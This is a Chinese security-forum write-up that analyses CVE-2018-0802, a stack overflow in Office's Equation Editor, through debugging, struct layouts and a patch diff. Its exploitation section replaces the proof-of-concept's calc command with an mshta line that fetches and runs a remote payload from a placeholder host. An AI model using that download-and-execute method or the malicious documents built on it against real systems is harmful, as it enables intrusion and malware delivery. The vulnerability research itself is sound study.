其他
CVE-2018-0802个人浅析
本文为看雪论坛精华文章
看雪论坛作者ID:zeroghost
PS:有童鞋和我反映,想复现和调试这个漏洞,但环境比较难找。由于该漏洞实际触发处为Word内嵌的公式编辑器(且为.exe文件),而并非Word程序本身,所以该漏洞能否成功触发环境与实际Office版本无关,而与公式编辑器版本有关。
本人在文末已经将公式编辑器提取出来了,只要虚拟机内Office版本还支持老版的公式编辑器 ,把里面的EQNEDT32.EXE文件用我提取出来的EQNEDT32.EXE替换即可,之后就可以愉快进行玩耍了,无需再自行配置漏洞环境。
建议替换前可以先备份一下,压缩包内EQNEDT32_OLD.EXE对应打CVE-2017-11882补丁前的公式编辑器,EQNEDT32.EXE为打完补丁后的,文件路径参考正文分析。
调试环境及准备工作
在虚拟机里双击打开POC发现弹出计算器,我们首先想到的是该POC可能调用了CreateProcess()函数。
所以打开Word,用OD附加后给CreateProcess()函数下API断点,运行后再次打开POC发现计算器正常弹出,断点并没有断下。
在对该漏洞动态调试完成后,为了进一步了解漏洞的成因,我们还可以用IDA对其进一步的静态分析。
用IDA打开 EQNEDT32.EXE文件,由于之前我们在用OD进行动态调试的时候,已经把该程序的ASLR关闭了。
所以程序运行时使用的加载基址则是默认加载基址,这与IDA中显示的地址是一致的。
我们直接来到发生溢出的函数421e39这里,可以很明显的看到,在进行字符串赋值操作的时候,并没有对长度进行检查,这也是造成这个漏洞主要原因。
WORD cbHdr; // EQNOLEFILEHDR长度,恒为0x1c
DWORD version; // 恒为0x20000
WORD cf; // 剪切板格式("MathType EF")
DWORD cbObject; // MTEF数据长度,不包括EQNOLEFILEHDR部分
DWROD reserved1;// 未公开
DWORD reserved2;// 未公开
DWORD reserved3;// 未公开
DWORD reserved4;// 未公开
};
BYTE bMtefVersion; // MTEF版本号,一般为0x03
BYTE bPlatform; // 系统生成平台,0x00为Mac生成,0x01为Windows生成
BYTE bProduct; // 软件生成平台,0x00为MathType生成,0x01为公式编辑器生成
BYTE bProductVersion; // 产品主版本号
BYTE bProductSebVersion; // 产品副版本号
};
BYTE bTag; // 字体文件的tag位0x08
BYTE bTypeFace; // 字体风格
BYTE bStyle; // 字体样式
BYTE bFontName[n] // 字体名称,以NULL为结束符
};
由于该漏洞是在CVE-2017-11882打完补丁后被发现了,作为它的"难兄难弟",我们自然关心它与CVE-2017-11882有什么联系。
我们首先将此时的虚拟机快照保存,接着退回到Office 2007安装前的状态重新安装Office 2007,安装完后,不要打任何补丁,直接来到之前提取公式编辑器的文件路径重新复制一份并重命名为 EQNEDT32_OLD.EXE。
然后再回到之前的快照当中用IDA插件BinDiff进行比较,关于BinDiff的安装与用法,可以参考https://www.cnblogs.com/lsdb/p/10543411.html这篇文章,在此不再过多叙述。
通过上述的调试与分析,相信大家已经对CVE-2018-0802的形成原因与触发原理有了一定基本的认识,接下来就是如何进行利用的问题了。
通过在网上查阅相关的技术资料以及之前被曝光过部分APT组织所使用的攻击样本,主要的利用方式有以下两种。
第一,将原POC文件中的"cmd.exe /c calc.exe"替换为"mshta http://abc.com/test.txt",这里的.txt文件名及其下载地址部分都是可以随意改动的,我们只需要把我们要执行的payload部分写入test.txt文件然后上传服务器即可。
mshta.exe英文全称Microsoft HTML Application, 主要是微软设计用来执行.hta文件的。上述命令执行后,会创建一个mshta.exe进程,然后从http://abc.com/test.txt下载指定的文件至 IE本地缓存地址然后去执行。
由于这种利用方式要事先准备好一个服务器,比较麻烦,所以我们这里采用第二种更简单的方式。
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPreInstance, LPSTR cmdLine, INT nShow)
{
MessageBoxA(0, "You're Hacked", "Warning", 0);
return 0;
}
结尾:
- End -
看雪ID:zeroghost
https://bbs.pediy.com/user-694356.htm
本文由看雪论坛 zeroghost 原创
转载请注明来自看雪社区
开奖专区
﹀
﹀
﹀
恭喜以上获奖选手!!
请尽快将图书名称及收件信息(收件人、电话、收件地址)发送至微信公众号后台
注意:中奖后一周内未发来获奖信息者将视为自动放弃。
往期热门回顾
﹀
﹀
﹀
公众号ID:ikanxue
官方微博:看雪安全
商务合作:wsc@kanxue.com
↙点击下方“阅读原文”,查看更多干货